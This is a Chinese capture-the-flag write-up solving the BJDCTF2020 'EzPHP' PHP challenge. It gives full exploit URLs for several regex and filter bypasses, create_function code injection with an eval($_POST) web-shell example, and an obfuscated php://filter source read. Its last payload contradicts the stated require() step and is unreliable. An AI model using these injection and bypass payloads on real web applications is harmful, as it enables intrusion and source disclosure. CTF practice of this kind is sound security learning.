[BJDCTF2020]EzPHP之preg_match绕过

打开链接之后发现页面为：

右击查看不了源码，按F12查看源码得到

GFXEIM3YFZYGQ4A= 使用base64，base32与base16一个一个试，得知是base32，解密之后为：1nD3x.php，之后在url上输入查看得到代码：

  <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

第一步：

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

需要绕过$_SERVER['QUERY_STRING']的过滤，因为$_SERVER['QUERY_STRING']不会对url解码进行，$_GET会进行url解码，故可以用urlecode进行编码绕过
第二步：

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

过滤了https与http，但是使用的是preg_match(’/^$/’)，我们可以用用换行符%0a绕过，payload为：

debu=aqua_is_cute%0a

第三步：

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

$_REQUEST绕过，$_REQUEST在同时接收GET和POST参数时，POST优先级更高，先接受post参数。
故构造post传参：

第四步：

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

可以使用data或者php://input进行绕过；

file=data://text/plain,debu_debu_aqua，后面部分进行url编码的：
file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

第五步：

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

sha1函数对数组返回为false，故可以构造数组绕过：payload为：

shana[]=12&passwd[]=56

第六步(重点)

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

$code和$arg可控，利用$code('',$arg)进行create_function注入
function a('',$arg){
    return $arg
}
例子：
但是如果第二个参数没有限制的话，如$code=return $a+$b;}eval($_POST['cmd']);//，就变成

function myfunc($a, $b){
	return $a+$b;
}
eval($_POST['cmd']);//}

<?php
$myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST["a"]);\\')
实际上为：
function myFunc($a, $b)
{ return $a+$b; } 
eval($_POST['a']);//}

利用取反绕过+伪协议读源码

构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//查看所有变量，注意这里的code，flag，arg需要进行url编码。
最终payload为：

http://44416704-ec7d-4081-81fe-ce665b3a450a.node4.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

post部分为：
debu=1&file=1

出现上图所示，看到flag在rea1fl4g.php之中，利用取反代码

$a = "php://filter/read=convert.base64-encode/resource=rea1fl4g.php";
$arr1 = explode(' ', $a);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
	echo "%".bin2hex(~$value);
}
echo ")<br>";

得到

~(%8f978fc5d0d09996938b9a8dd08d9a9e9bc29c9091899a8d8bd19d9e8c9ac9cbd29a919c909b9ad08d9a8c908a8d9c9ac28d9a9ece9993cb98d18f978f)
经过处理之后为：
~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)

把var_dump(get_defined_vars())替换为require()最终payload为：

http://44416704-ec7d-4081-81fe-ce665b3a450a.node4.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

post传参部分为
debu=1&file=1

得到base64编码

解密得到flag
另一种解法用异或这里没有实现。